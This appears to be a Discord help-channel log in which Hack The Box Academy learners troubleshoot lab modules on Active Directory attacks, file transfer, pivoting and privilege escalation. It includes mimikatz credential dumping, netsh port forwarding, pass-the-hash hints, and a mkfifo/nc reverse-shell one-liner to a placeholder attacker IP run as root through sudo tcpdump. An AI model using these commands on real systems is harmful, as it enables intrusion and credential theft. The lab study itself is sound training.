mimikatz # sekurlsa::logonpasswords

[marble raft]

In which module is this snippet?

[quasi gust]

ACTIVE DIRECTORY ENUMERATION & ATTACKS

[pure sorrel]

But I don't see mimikatz.exe on the host

[fathom pendant]

Website support isn't on the discord

[fathom pendant]

C:\tools

[wild dragon]

you can transfer the mimikatz tool to the target machine, bro

[pure sorrel]

No such directory

[fathom pendant]

Then do what satellite said, transfer file

[wild dragon]

transfering your tool to the target machine

[pure sorrel]

I tried, but maybe I just couldn't get the transfer right, so I thought that wasn't what I was supposed to do

[marble raft]

Already found it, wait a sec i'm trying to connect via SSH here

[pure sorrel]

I'll try that again more carefully

[wild dragon]

this is a transfer file guide for you:

Steps to transfer files from windows to linux.
1 - Install pyftpdlib in our linux machine > pip install pyftpdlib
2 - Create a directory in the linux machine > mkdir files_from_windows
3 - Start frp server by specifying the dir_name and allowing write permissions >  python3 -m pyftpdlib -d files_from_windows -w
4 - Navigate to the windows quickaccess pane and search for the ftp server > ftp://10.10.14.75:2121/
5 - Copy and paste the needed files to the folder.

and another way with xfreerdp

xfreerdp /u:<username> /p:<password> /v:<IP> /drive:data,/tmp /dynamic-resolution

[fathom pendant]

I have my files hosted on a local nginx server 10/10

[wild dragon]

for your case, you can use xfreerdp

[wild dragon]

yes, and on the Windows machine, we can access our attack's IP machine and get the file. @pure sorrel

[fathom pendant]

I need to beef up my nginx server to make it cooler

[rotund crater]

HTB is refusing to give me a box for the AD Skill Assessment part II

can I vent here?

[fathom pendant]

They're currently having issues since like last week

Some backend 3rd party stuff

It's been intermittent and being looked into

[rotund crater]

the platform is pulling my leg, it gives me box for the part I but not for part II

Thanks btw, I'll be more patient

[pure sorrel]

I used xfreerdp with the shared drive, I must have just had bad syntax, it's been a long day 😴
Thanks for your help

[wild dragon]

xfreerdp way will be like this, and you can transfer any files to the Windows machine from your kali/parrot via a new drive @pure sorrel

[fathom pendant]

Bash is clear

[marble raft]

yes, sadly i do cls on bash and clear on cmd/powershell always get it wrong on the first time

[pure sorrel]

Yea I used it earlier today for another module, so I must have just carelessly done it wrong

[rotund crater]

to transfer files I go with the long way:
python3 -m http.server 8000 is going to open a quick http server on that specified port, in the same folder you are running the command

[quasi gust]

I needed to type password word by word ))

[fathom pendant]

alias cls=clear

[fathom pendant]

Probably didn't copy it properly

[marble raft]

I think you can actually use secretsdump.py from your own VM, but i'm not sure

[fathom pendant]

Only if you have a pivot through the network

Or if you transfer files back

[wild dragon]

yes, file transfer is a core technique, anyway, we can do it according to our situation accordingly

[marble raft]

Yea, i'm not sure how i did at the time but i think i used what was showed on port forwarding with windows netsh. Either this or the technique with chisel

[wild dragon]

@pure sorrel Dante & Zephyr are cool and friendly for you to practice the Pivoting technique, Offshore you will master this technique lol

[fathom pendant]

Look into ligolo-ng

[pure sorrel]

I'm going to add those to my list. Trying to finish the pentester path first, then get into some boxes

[wild dragon]

@marble raft for the Skill Assessment of the AD Enumeration & Attack module:
On the Foothold machine, you can use Netsh tool to forward port:

PS C:\> netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=<foothold_IP> connectport=3389 connectaddress=<Connect_IP>

and then you can RDP to the Connect_IP

xfreerdp /v:<foothold_IP>:8080 /u:<username> /p:<password>

[digital whale]

Have a question for the group. Been working on Q8 of the AD Enumeration & Attacks - Skills Assessment Part II for the last few days. I got system on SQL01 and got the admin hash so I can WINRM into SQL01 now. I have 2 users that can RDP into MS01 but am having a difficult time trying to get to admin on that box. Any hints would be apperiated. I've been doing these skills assessments for what feels like weeks now

[rotund crater]

To add on that: completely unrelated, but another technique:
ssh -D 9050 username@ip to ssh into the foothold, the -D enables dinamic port forwarding on port 9050, then you change your /etc/proxychains.conf file to include the line 127.0.0.1 9050 and use xfreerdp as proxychains -q xfreerdp /v:<foothold_IP>:8080 /u:<username> /p:<password>

[heady estuary]

is this the correct channel for help?

[slender shoal]

for module help, yes.

[heady estuary]

when I run nmap -sV, the version of the service running on the specific port I need is not shown, but all others are shown

however, it does say "1 service unrecognized despite running data."

[slender shoal]

which module and section?

[heady estuary]

well, shit, my VM froze

the module is Getting Started. the section is Service Scanning

[rustic sage]

im on the zap scanner module of using web proxies, and it says "once you find the high level vulnerability". ive generated a report with the active scanner however no high level vulnerabilities show up - only medium and low. i also tried the regular zap spider but to no avail.

[slender shoal]

Can you dm me with more details? @heady estuary

[heady estuary]

@slender shoal I used the Pwnbox and it worked. it wasn't working on my VM. which is still odd... but thank you

[slender shoal]

Good stuff

[heady estuary]

is this common with HTB?

[slender shoal]

i generally dont have those issues

[rotund crater]

mmmh more common that I'd like that to be, but realistically 1 every 15 exercises in the CBBH Path will give you that issue

[rustic sage]

sorry does anyone know anything about this

[rotund crater]

what module is that?

I don't think I have done anything with zap

[rustic sage]

as said "im on the zap scanner module of using web proxies"

for cbbh

[heady estuary]

@rotund crater okay thank you. good to know.

[rotund crater]

Ok let me check my notes

[rustic sage]

and my HUD in the zap browser is gone and idk how to bring it back

ok i just restarted session and the HUD is back nevermind

[rotund crater]

Are you doing that from your own kali or from the pwnbox?

[rustic sage]

my own laptop

[rotund crater]

I have no notes for this, it probably pissed me off lol

uhm try switching to the pwnbox, I think this is what happened

[rustic sage]

lol ok

ty

[rotund crater]

Zap and I are not friends anymore, now Burp is my friend

[slender shoal]

ZAP is a bit funky, but it looks like you just need to follow the section pretty closely

[rustic sage]

yeah i like burp more definitely

[rustic sage]

i did except without using the HUD, didnt think that would change anything

the HUD doesnt work at all in the pwnbox and im getting the exact same output as i am on my laptop. i just wanna go hooomeee

now im just too upset to continue

i followed the module word for word in a new untouched pwnbox and it didnt work

[flint orchid]

Any able to help me with the DNS section of foot printing please? Can't make sense of the first question
Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain. - Not sure what they're asking for exactly, no flags found when interacting

[fathom pendant]

Because it's not asking for a flag

__F__ully __Q__ualified __D__omain __N__ame

[flint orchid]

I get that, but there's an answer box

[fathom pendant]

Yes

[flint orchid]

dig inlanefreight.htb @10.129.14.128

[fathom pendant]

The answer is in the form of a Fully Qualified Domain Name

Not a flag

Not every answer in academy is gonna be in the format of a flag

[flint orchid]

I know

[fathom pendant]

Try dig axfr inlanefreight.htb @ip

Or dig ns inlanefreight.htb @ip

[flint orchid]

I have, and got the zone transfer flag

[fathom pendant]

You're likely overlooking the answer

[shell ore]

its on his screen im sure

[fathom pendant]

Oh I'm 100% sure

[shell ore]

cute 😂

[fathom pendant]

It's just a fundamental misunderstanding of what fqdn means

[flint orchid]

No no you misunderstand, maybe I did a poor job of explaining my predicament

I didn't understand what the question was asking of me

[fathom pendant]

And I explained it to you

If you're really unsure of what a fqdn is, Google is free

[shell ore]

i sense some tention guys

[flint orchid]

I'm not unsure of what fqdn is

[fathom pendant]

I can only lead you so far to the answer

[fathom pendant]

Google

[flint orchid]

You didn't lead me at all because you misunderstood lmao

[shell ore]

CHILL

[fathom pendant]

No. I figured that expanding the acronym might help you further understand.

[flint orchid]

Nah, I just didn't understand what the queston wanted in terms of an answer, I answered the other questions just wasn't sure what they were after for this one

[fathom pendant]

Use ctrl+f to search for fqdn on that section, it does explain it on the page

Albeit briefly

[mild valve]

Can I ask if there is anyone besides me doing the Active directory module in CPTS that have problem with VPN connections?

[fathom pendant]

They've been having backend issues lately

[mild valve]

I find it strange other ppl can do modules though

I RDP and after 30 sec it closes down 😦

[slender shoal]

try to regen your vpn and ensure its a tcp vpn pack that might also solve some of your issues

[mild valve]

Actually smart suggestion, only used UDP. Will give it a try

[vagrant orbit]

Good morning everyone - is anyone able to help me with Enumerating AD users? I am trying to use the Find-ForeignGroup SharpView command but getting no output. That is the command given to us in the module

Nevermind I got it, that is not the command you need. For the next homie: Just look for administrators.

[vestal bone]

Hey, is there anyone in the support team who can help me troubleshoot why i cant access my ProLabs that i just bought?

[vital elk]

Contacting support on the platform is the best bet: https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[vestal bone]

Great thanks

[vital elk]

Make sure you're using the correct vpn key, I haven't bought prolabs but I'm assuming they have a different key as they do for VIP, academy, and seasonal

[vestal bone]

The problem is that it says "Failed to find a valid ProLab Rasta VPN Server"

And i cant download the Ovpn file in order to initiate a vpn connection

Its greyed out

Its the same error on all lab environments. Ive contacted support. Hopefully ill get a respons

[inner sand]

hey guys can i learn binary exploitation and reverse engineering from HTB ?

[acoustic owl]

Maybe with something like that

https://academy.hackthebox.com/module/details/182

https://academy.hackthebox.com/module/details/208

[sly kelp]

There is a track on main HTB platform that has machine listed that can help you practice BE

[eternal tusk]

Guys, I have a question regarding target Global IP discovery. How do I find that?

[sly kelp]

https://app.hackthebox.com/tracks/Intro-to-Binary-Exploitation
https://app.hackthebox.com/tracks/Intro-to-Reversing

[inner sand]

thank you guys

thats so generos from you

is it free or i need to buy boxes ?

[sly kelp]

you need vip access 15$ i guess

[fathom pendant]

Let's keep this chat on-topic to htb modules

[sly kelp]

sure

[fathom pendant]

If you're referring to the modules that payloadbunny linked: you'll need to buy the cubes for them, if you're looking for binary exploitation related boxes or challenges - you'll need vip on the main platform to access any retired content, academy and labs are separate platforms

[devout cairn]

for the attacking web applications with ffuf. I ran my recursive scan for academy.htb like it directed found the admin subdomain. How do I actually find the ip for this subdomain to add it to my /etc/hosts file so I can perform other scans?

I notice in the module Parameter Fuzzing -GET is has us going after that subdomain but it never added it to the hosts file even though its on a seperate IP

[obtuse verge]

Hi!! I have a question. Doing this type of download can lose bytes of the file? Because the size is not the same... and how can u do it without losing data?

[fathom pendant]

Win-Rm is finicky

But we don't have a better tool

If the md5sum is the same then there's no actual data loss

It's just how the filesystem displays data

[bright quiver]

i am trying to run this : ||scp htb-student/upload_nix.txt htb-ac-814020@10.10.14.189:/home/|| - but when trying to download it times out - any thoughts here? it is for the linux file transfer portion

[silk prism]

if anyone here have done the password attacks module and have a minute for a chat, please let me know if i can dm you. im stuck af and i have an idea of what i can do but i dont want to spend another day if im not pulling on the right direction

[sly kelp]

sure

[bright quiver]

anyone help with the above?

[barren knot]

yo\

people

[hoary pulsar]

if u guys done @sly kelp may I dm u as well? stuck as well with the Password attacks module kek

[sly kelp]

sure I can try my best to help you guys

[hoary pulsar]

thanks thanks

unable to message anyways the question is finding the flag since,
i've cracked 3 ussers already using "crackmapexec --shares"

using smbclient i've already access the smb service but unable to locate the flag since there is no file in the following shares

[sly kelp]

can you try smbmap as well

[sly kelp]

look at the Permissions

[hoary pulsar]

yeah permissions are only for IPC$ used smbmap as well with 3 cracked usrs

[sly kelp]

dm me

i sent you request

[hoary pulsar]

ahh shit okay there is another

i got it ady

[hoary pulsar]

user that contains the flag

[unique palm]

im on the pass the hash module and cant access davids file even tho i am david.. any hints?

[vagrant orbit]

I think one of the questions on the enumerating AD groups question might be wrong

Has anyone finished this section?

From active directory powerview..

[bright quiver]

Can anyone assist with this please:

htb-student@nix04:~$|| scp htb-student/upload_nix.txt htb-ac-814020@10.10.14.189:/home/htb-ac-814020/Desktop||
ssh: connect to host 10.10.14.189 port 22: Connection timed out
lost connection

[thorn basin]

Tuga?

[misty current]

You're trying to ssh back to your pwnbox instance? There might be certain egress rule that are in place that doesn't allow you to connect to outbound 22 port from the target instance.
Not sure why you want to do that, you can simply do the reverse|| htb-ac-814020@<pwnbox-ip>:~$ scp htb-student@<TARGET-IP>:~/htb-student/upload_nix.txt /home/htb-ac-814020/Desktop/.||

The command is from your PwnBox, not from nix04 host.

If you already knew that and are still just playing with trying to ssh to PwnBox from the target instance, you can still do it with some tweaks.

[bright quiver]

thanks - i'll use that information

[floral condor]

I just finished the SQL Injection fundamentals, but... I don't understand 1 thing!
Why UNION payloads start with cn'? I mean... Why cn??? I'm really confused about how at one point they start with cn and this cn initial part makes things work 🤷🏻

[sly kelp]

what

[half lily]

hey help me please

I am unable to open website on cozyhosting

????

[sly kelp]

#boxes

[solar arch]

cn is just a valid entry in this database, it stands for china, the country code 😉

[floral condor]

Thanks a lot, I didn't understand that it was contextualized text. Now I understand! You made my day by solving this riddle 💪

[misty current]

Recheck the module for other ways.

[unique palm]

"Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt."

I have no clue what HTB wants from me. I got the julio shell through PtH but now I am lost. Anyone knows what to do?

Module: Password Attacks
Section: Pass the Hash

[twin stirrup]

Can I talk to someone about the Pass the Ticket (PtT) from Linux module. Got the last flag but just want to know why it comes accross when I download it incorrectly.

@unique palm DM Me

[leaden yew]

For Windows Priv Escalation: DLL Injection, is there some package that supplies the example libary.dll and x.dll to follow along with the section? I can't find anything...

The section keeps mentioning Either compile it or use the precompiled version provided., but doesn't actually reference what it is referring to.

[cinder harbor]

Hello, anybody has idea on this question ? I typed in the switches multiple times and it keeps failing.
" Given the capture file at /tmp/capture.pcap, what tcpdump command will enable you to read from the capture and show the output contents in Hex and ASCII? (Please use best practices when using switches)"

tcpdump -r -X capture.pcap . I think I am placing -x in the wrong spot I have tried all possiblities though. Pleae let me know what part am missing.

[cunning prairie]

did you connect via NC?

[unique palm]

got it now .. i removed the domain flag in my invoke-hash command and it worked

[lusty thicket]

-XX idk

[lusty thicket]

its a vhost iirc

[cinder harbor]

Thank you. I have tried that as well and didnt work. i tried this in the htb terminal it works
sudo tcpdump -r ~/capture.pcap --print -XX (but they arent taking this answer)

[lusty thicket]

-XXr try this

[devout cairn]

It is but when i try running a scan against it , it gives no results

[lusty thicket]

a vhost is when multiple subdomains share 1 ip

so think of it like all subdomains in that section were assigned 1 ip

0.0.0.0 academy.htb admin.academy.htb ...

add that to your /etc/hosts

[cinder harbor]

This didnt work either. I have tried multiple option and googled how to print in ascii after packet is read using tcpdump and nothing is working! 😫

[devout cairn]

Ahhh ok I thought it was multiple ip's

[lusty thicket]

its a problem with the command syntax but i think the right command syntax should be in that section

[cinder harbor]

Oh I have tried harder smarter all .lol The sytax works on a terminal its just not being accepted in the answer box.

[lusty thicket]

you're really close to the answer🦾

[cinder harbor]

If you're referring to writing it this way , sudo tcpdump -Xr ~/tmp/capture.pcap I have tried that too. The same thing happened to the other question in that section and all it needed was a space but it works without on the terminal.

[lusty thicket]

i dont see the need for ~ that directory simply doesn't exist

/tmp/capture.pcap thats where the file is at

[cinder harbor]

Ok, thanks. yeah , nothings seems to work at this point. I will give it a try another time.

[eternal tusk]

Hey guys, I have a question regarding target Global IP discovery. How do I find that?

[desert garnet]

Can someone help me with this question

[fathom pendant]

You mean public ip stuff? I don't believe there's too much about public ip in academy- as the focus is on internal attacks and defense

[lusty thicket]

yes

[desert garnet]

im in this level and i stuck

[fathom pendant]

It's gonna be before any command line stuff happens, scroll up and you'll see a HTB{...} flag

[desert garnet]

i dont see any flag only microsoft and version

Microsoft Windows [Version 10.0.22000.1219]
(c) Microsoft Corporation. All rights reserved.

user0@ACADEMY-ICL11 C:\Users\user0>

[fathom pendant]

Scroll further up

[limber wasp]

I'm having problems rdp'ing into the password attacks , passing the ticket with windows module. the task before was no prob, and it was actually same ip with different creds. reloaded the target, closed vpn, vpn'd back in. logged out and back in and I'm getting this

[fathom pendant]

Wrap the password in quotes $$ is a variable call

[limber wasp]

same thing. I never wrap the password and it usually works. this is the first time i've ever had a prob with it.

[fathom pendant]

Single quotes or double quotes

And yes, it does matter

[thorn urchin]

$ and ! are special bash characters, they must be wrapped

or else bash interprets and rewrites them before the program ever sees it

import sys

print(sys.argv[1])

save that as echo.py and then run

python3 echo.py AnotherC0mpl3xP4$$

and youll see what the program actually sees

[lusty thicket]

single quotes actually

[limber wasp]

I've never had an issue with that before. I went back to the previous section which is pass-the-hash. It's th same target, because it's already spawned and same ip I have an RDP session right now with the same ip address using Administrator and the hash. No problems, trying to login with that password, with or without quotes returns an error.

[fathom pendant]

I was responding to them saying they did try wrapping

[fathom pendant]

Are you wrapping with single quotes or double quotes

You still didn't answer

[limber wasp]

sorry lol

[thorn urchin]

You also ignored my explanation of the issue and step by step instructions on how you can visualize why its an issue

if you correctly wrapped the password and still doesnt work then sorry its just the wrong pass for that account or that account is blocked from rdp

[limber wasp]

ok. Now use that as my password, or should it work in quotes.

[thorn urchin]

you need to use quotes, my step by step instructions shows you why

[limber wasp]

i didn;t see it. until after i repomded to Marcie.

you I seen that, pretty neat. Is that something particular to rdp?

[thorn urchin]

no its particular to bash

[fathom pendant]

No it's bash

[limber wasp]

ahh gotcha

[fathom pendant]

$ indicates a variable call in bash

$$ itself is a variable

[limber wasp]

still doesn't work with quotes though. lol

[fathom pendant]

Single quotes or double

[thorn urchin]

then thats not the password for the account

¯_(ツ)_/¯

[fathom pendant]

Should work with Single if it's correct

[limber wasp]

ok single did work. Thanks. why only single and not double?

[fathom pendant]

Because single is passed as literal string interpretation

[lusty thicket]

powershell, bash and some other scripting languages

[limber wasp]

uhhh that's so frustrating. get through the modules, usually with not much problem, and something that simple has had me stuck for 2 hrs! smh

[fathom pendant]

Wanna know what's crazier? People have asked that question previously

[limber wasp]

I hadn't ever had to put quotes around th password, I guess that's why it never even crosed my mind.

[fathom pendant]

Then tell me how you were "wrapping" the password

[limber wasp]

idk the prevoius modules with the pass the hash, well any of them till now, I've never had to put quotes around it. i was just rdp'd in with the administrators hash with no quotes.

[fathom pendant]

Because hashes for pth don't contain special characters

[thorn urchin]

you should brush up on your linux and bash fundementals

[limber wasp]

ok,so if it has special characters. because normally if they give you the password, its usually well password.

[thorn urchin]

its linux 101 stuff

[fathom pendant]

^

[limber wasp]

anyway. Thanks guys.

[high hearth]

hey y'all! How do the alloted hours work? are they based on each challenge, like how long each challenge should take, or is it solely based on the amount of time it takes you to finish each challenge and then that gets added up?
Or is it based on the cubes used? I was reading one of the articles for the first challenge that you need to disconnect from the machines you are not using, but I did not find what the walkthrough example was showing.
Or Am I mixing the cubes from Academy with the time allocated on HTB?

[thorn urchin]

the time estimate stuff is complete nonesense. ignore them completely

[high hearth]

How about the access to the machines? It says if you have a free account you get 2hours, and VIP+ unlimited access. Do you know how those hours are counted?

Regular VIP gets 24 hours

[next bronze]

those are for pwnbox access on the main platform if I remember right, not to the target machines

if you're using your own vm it doesn't affect you

[silent umbra]

Damn bro got no chill

?ban madf0x

[reef drift]

hey there, anybody there passed the module LINUX PRIVILEGE ESCALATION > Environment Enumeration, I escalated to root user, then read the flag.txt but doesnt work as answer

[fluid talon]

has anyone else had excessive trouble with the labs at the end of the footprinting module? i cant even get past the easy one and i have no idea why. i feel like ive exhausted every single avenue, even finding a HTB{flag} that seemed unrelated to the entire lab

[slender shoal]

that is not what I have.

[next bronze]

the question didn't ask you to get root either

[bright quiver]

can anyone give me a hand and tell me why this maybe didn't work - I am trying to get into host 2 for the live engagement under webshell/php module

i get this error:

||[] Started reverse TCP handler on 10.10.14.189:4444
[-] Exploit failed: NoMethodError undefined method `get_cookies' for nil:NilClass
[] Exploit completed, but no session was created.||

[languid galleon]

i've tried this and i still don't get it ... i've been off and on this module for like a week stuck at this one spot ... i have no clue what i'm doing wrong ... the question makes no sense

[fathom pendant]

check your LHOST

[bright quiver]

@fathom pendant ok

do i have to run from the RDP session also?

[fathom pendant]

yes

[bright quiver]

ok

so i am assuming i have to file transfer the ||50064.rb|| exploit then?

[fathom pendant]

nope

it's already there

[rustic sage]

hello

[bright quiver]

oh ok cool

[fathom pendant]

it might night appear in a search

but you can just use it'

[bright quiver]

got the flag - ty

[high hearth]

Can someone tell me how I can stop my active machines? I tried to follow the steps shown but I see it.

[lusty thicket]

hint focus on the port 2121

[next bronze]

for academy?

[fluid talon]

alright ill look into it more, thanks👍

[wild iron]

Hi need help with this :

chatgpt told me to fuck off

he lack of knowledge

and i lack of intelligence

[high hearth]

Im getting this error when trying to connect to the OpenVPN. Anyone knows how I can fix it? I connected fine before, IDK what's wrong now.
2023-12-02 00:50:07 GDG6: remote_host_ipv6=n/a
2023-12-02 00:50:07 net_route_v6_best_gw query: dst ::
2023-12-02 00:50:07 sitnl_send: rtnl: generic error (-101): Network is unreachable

[next bronze]

is your vm connected to the internet? do a ping 1.1.1.1 and check if there are replies, also try rebooting

[high hearth]

I rebooted and it worked. Thanks.

[next bronze]

60% of the time, rebooting works every time

[elfin condor]

@next bronze hey where i can find the provided admin credentials in the DOCUMENTATION & REPORTING - Documentation & Reporting Practice Lab??

first qst

[primal mesa]

Module: ATTACKING COMMON APPLICATIONS
Section: WordPress - Discovery & Enumeration
Question: Enumerate the host and find a flag.txt flag in an accessible directory.
Status:
- Ran gobuster on / and /wp-admin still nothing.
Appreciate any help. Thanks.

[next bronze]

same as your rdp creds

[next bronze]

use wordpress tools for wordpress

[rare swan]

Module: File Inclusion Section: Log Poisoning Question:Try to use a different technique to gain RCE and read the flag at / --------cant read/write any other log file than: /var/log/apache2/access.log.

So far i poisoned the user agent in first question to get rce - but what other technique can i use?

[eternal tusk]

Hey @fathom pendant thanks for replying. Is there any other source you would refer me to?

[wild iron]

Please I Still need help can someone give me a nudge ? thats the question on THreat Hunting & Hunting With Elastic

[vague nymph]

Module: Linux Escalation
Section:Sudo Rights Abuse
Question: I was practicing the tcpdump exploit mentioned but it did not work

1. I made a file in /tmp and was named .test and was already chmod u+x
   

the content in /tmp/.test:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [attackers'ip] >/tmp/f
2. then I typed this command
sudo /usr/bin/tcpdump -ln -i [the ip interface i wanna listen] -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

However, it did not execute the /tmp/.test file

(note1: I have already check the permission and the path of tcpdump, which is correct)
(note2: and I have test that if I just type ./.test, the reverse shell is established sucessfully)
(note3: the below is my tcpdump version:
tcpdump version 4.99.3
libpcap version 1.10.3 (with TPACKET_V3)
OpenSSL 3.0.8 7 Feb 2023
)

[acoustic owl]

Think about how you can search for the specified directory.

[next bronze]

don't you need to run tcpdump with sudo if you want to get a root shell

[vague nymph]

i had

sry for didnot mentioned above( have revised)

[next bronze]

try the steps given in gtfobins instead, simpler than having to send a revshell

[wild iron]

I figure so, i just didnt find the option, but all good my enormous brain had brainstorm and I found the answer, 2 more to go complain about before completing the module

[vague nymph]

thank you i figured it out 😍
gtfobins said i need a $
so i revised to $(/tmp/.test) then it worked

[elfin condor]

hello can anyone guide me on the Documentation & Reporting Practice Lab the rdp so slow and i am stuck on first qst

[quaint hollow]

hey guys,
One of the questions in the File Transfer module require an ||RDP ||connection to a target

I'm trying to connect but i got this error which seems like a misconfiguration on the parrotOS side.

any idea what i should do?
i tried to respawn the host yet there is no change

[flint laurel]

Using crackmapexec q3 DEV01

i've cracked 3 ussers already using "crackmapexec --shares"

using smbclient i've already access the smb service but unable to locate the flag since there is no file in the following shares

[fathom pendant]

Don't run xfreerdp as root

[frank vine]

Hi everyone, AD skill assessment 1 question 'find the user clear text password' || I found a ntds.dit file in a domain replica folder, cannot parse it as the local SYSTEM key is different, also tried secretsdump.exe still nothing, all the hashes I have found including the user in question cannot be cracked|| , any help would be appreciated.

[obtuse verge]

Hello. Please, someone can help me with question "Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host." in "AD Enumeration & Attacks - Skills Assessment Part II" section?

[pure patrol]

wow

@pure patrolhahaha

[fathom pendant]

You good?

[rotund crater]

Still in need of help?

[fathom pendant]

<@&861185840277487616> #858470491676737536 #cpts #cwes #cdsa #1168306743961456721

[languid dawn]

[novel matrix]

handled thanks

[fathom pendant]

[obtuse verge]

No, I did it. Thank you!

[quaint hemlock]

can someone help me with File Upload Attacks -> type filters?
I already manage to get the right extension and using the same kind of magic bytes, but when I go the file url it gave me this error massage : "The Image cannot be displayed because it contains error"

[crimson walrus]

Hey guys, I have a question about the Attacking Enterprise Networks module. || I am unable to discover the last host (the one on the 172.16.9.1/24 subnet). I am using a standard pingsweep from DC01:

1..254 | ForEach-Object {"172.16.9.$($_): $(Test-Connection -count 1 -comp 172.16.9.$($_) -quiet)"} | Out-File -FilePath "output.txt"

With this command I am getting only a hit on 172.16.9.3 which is the DC01 host itself. ||
Anyone know what the problem might be?

[misty current]

Some machines have ICMP replying disabled, so ping won't always give you all the machines in a network.

This is default behaviour for non server windows machines FYI

[crimson walrus]

The weird thing is that this is how they do it in the module itself. Would an nmap scan work (with -sn flag)?

[crimson walrus]

Thanks

Or since I am pretty sure that || the target machine has ssh enabled (I found keys), would something like this work to discover the host?
proxychains nmap -p22 172.16.9.1/24
||

[misty current]

use TCP connect (-sT iirc) when performing nmap scan through proxychains. It doesn't work otherwise.

[fathom pendant]

Be mindful that most people do enterprise networks blind please put your post behind spoiler text a pair of || before and after

[misty current]

You could also get creative with powershell port scanner scripts.

[crimson walrus]

yep, sorry, thanks for the tip

[crimson walrus]

Alright maybe I will try that since nothing else seems to work.

[misty current]

A tip. I don't have notes on that module or a good memory to remember that section. But, best to have atleast 5 common ports instead of one, you never know if they decided to configure some services on non default ports.

[crimson walrus]

you mean 5 common ports for the same service (eg ssh)?

[misty current]

Commonly used ports for http, rdp and so on.

[sly dome]

use ligolo-ng and get nmap working with SYN scan 😃

[sly dome]

mimikatz

[flint chasm]

Hello Everyone
I need a help with Broken Authentication >
Predictable Reset Token
Task is:
Create a token on the web application exposed at subdirectory /question1/ using the Create a reset token for htbuser button. Within an interval of +-1 second a token for the htbadmin user will also be created. The algorithm used to generate both tokens is the same as the one shown when talking about the Apache OpenMeeting bug. Forge a valid token for htbadmin and login by pressing the "Check" button. What is the flag?
I'm using the reset_token_time.py script but not sure how can I use the time of the target
Pls help

I know that I should use time of created token ofhtbuser but where now should I add this time in that script?

[acoustic owl]

You should use this time instead of now.

Your script checks 120 seconds.
However, the token is in the period +1/-1 second

[flint chasm]

like that?\

[acoustic owl]

No

Read the task carefully

[quaint hemlock]

can someone help me with this?

[flint chasm]

I read but still not sure how edit the script

[acoustic owl]

Without knowing what exactly you have tried, it is difficult to give you any tips

[acoustic owl]

Your script is not correct in many ways.
Take a close look at the token so that you know how to build it.
Then adapt your script so that it creates a token for the admin for +/-1 second and checks it against the page

[quaint hemlock]

I already tried with .phar.jpg, .phar.jpeg, and .phar.gif ext, I also use jpeg and gif magic bytes for my payload

[acoustic owl]

Upload a jpg, intercept the request with Burp and then adjust the Content.
Attention! Do not touch the first bytes of the JPG. You cannot restore them if you accidentally delete them

[cloud bone]

I'm hitting the same wall. I'm pretty sure my code is not injectable (everything is sanitized, no injection points), but i'm still getting the cryptic "code injection should not be possible, even without sanitization or validation" error.

[quaint hemlock]

you mean this ||ÿØÿàJFIFÿÛ||? I never touched them as it was for the MIME-type right?

[lusty thicket]

try bypassing using double extensions & the GIF8 mimetype

[quaint hemlock]

already done that

[lusty thicket]

well you didnt do it properly

[acoustic owl]

Send me your request by DM and I'll take a look at it.

[quaint hemlock]

oh I got it, I didn't need to reverse it lol 💀

thx for helping guys

[lusty thicket]

[oblique tide]

Hey everyone
I'm trying to complete a task in the linux fundamentals module
The task was to find out the index number of a file in /etc and i thought i got it right but well, system sais i don't and i just don't get it. 🥲 Pls help, i'm starting to feel stupid.

[devout cairn]

anyone know what form the url should be in for Attacking web applications with ffuff skills assessment web fuzzing?

I found the page as described by

"One of the pages you will identify should say 'You don't have access!'. What is the full page URL? "

but no matter what format I put it in it wont accept it as the answer. I tried it with the http:// added and removed as well as with the port added and removed

[fathom pendant]

Iirc there's a flag in ls that gives you the index

[oblique tide]

That's what i thought but when i tried, it allways said wrong number. And i checked ten times for typos but couldn't find any. Is there something else, i could have gotten wrong?

[eternal bison]

Can I get a nudge on this question from Digital Forensics. Been stuck for a long time, I can't seem to get the correct answer from the memory dump. Tried strings, and volatity to analyse it. Extract and scrutinize the memory content of the suspicious PowerShell process which corresponds to PID 6744. Determine which tool from the PowerSploit repository (accessible at https://github.com/PowerShellMafia/PowerSploit) has been utilized within the process, and enter its name as your answer

[lusty thicket]

does the url say “you don’t have access” ?

[devout cairn]

yes. Giant bold letters across the screen. I can post the url if you want or dm it

[fathom pendant]

User error: are you connected to the target machine?

[lusty thicket]

then enter the domain name without the scheme of course

[devout cairn]

scheme?

[lusty thicket]

http

[oblique tide]

That was it. 😅 Thanks a lot!

[devout cairn]

i did that. Ive tried

http://url with port
http://url without port
url with port
url without port

[fathom pendant]

Wrap your message in backticks (```) makes it so discord doesn't parse it

[devout cairn]

can I post the actual url? Its at least in theory the answer to one of the skills assessmnet questions

[lusty thicket]

strenge

[lusty thicket]

yes

[devout cairn]

kk
working with
http://faculty.academy.htb/courses/linux-security.php7

[lusty thicket]

try getting the same result with the -v flag

[elfin condor]

.

[lusty thicket]

the answer format should be http://xxxx:PORT/xxxx

[devout cairn]

I got the same url using the v flag

[lusty thicket]

you have the answer already

all you need to do is add :PORT all done

[devout cairn]

*facepalm
thanks

[lusty thicket]

[sly kelp]

Boys what is the chrome extension for ahdh stuff that highlights the first char from text. I need the name

[fossil crescent]

Feel free to DM me -- there's 2 reasons (that I at least encountered) for this -- possibly more. 😅

[gilded plaza]

firstly hwere u connect to pki in hte kali or where?

[devout cairn]

question is there a way to copy paste into the workstation? I know you can copy content out of it

[acoustic owl]

Yes, you can connect to the PKI server from the Kali machine. The IP is given in the question

[acoustic owl]

https://help.hackthebox.com/en/articles/5185608-introduction-to-pwnbox

[devout cairn]

gracias

[sly kelp]

whaat

[acoustic owl]

Sorry, I replied to the wrong message. Sorry for the ping.

[orchid pine]

hello guys for attack common application module os ticket section

do i need to get the cred

myself or use those provieded in the section

[acoustic owl]

do you mean Boldify

[hallow kiln]

Bionic Reader is what I use, but I'm on Firefox, not a clue if there's a chrome version too

[sly kelp]

Thanks I was hitting my head trying to remember

[obtuse verge]

hey guys
on "AD Privilege Escalation Skills Assessment - Part I"

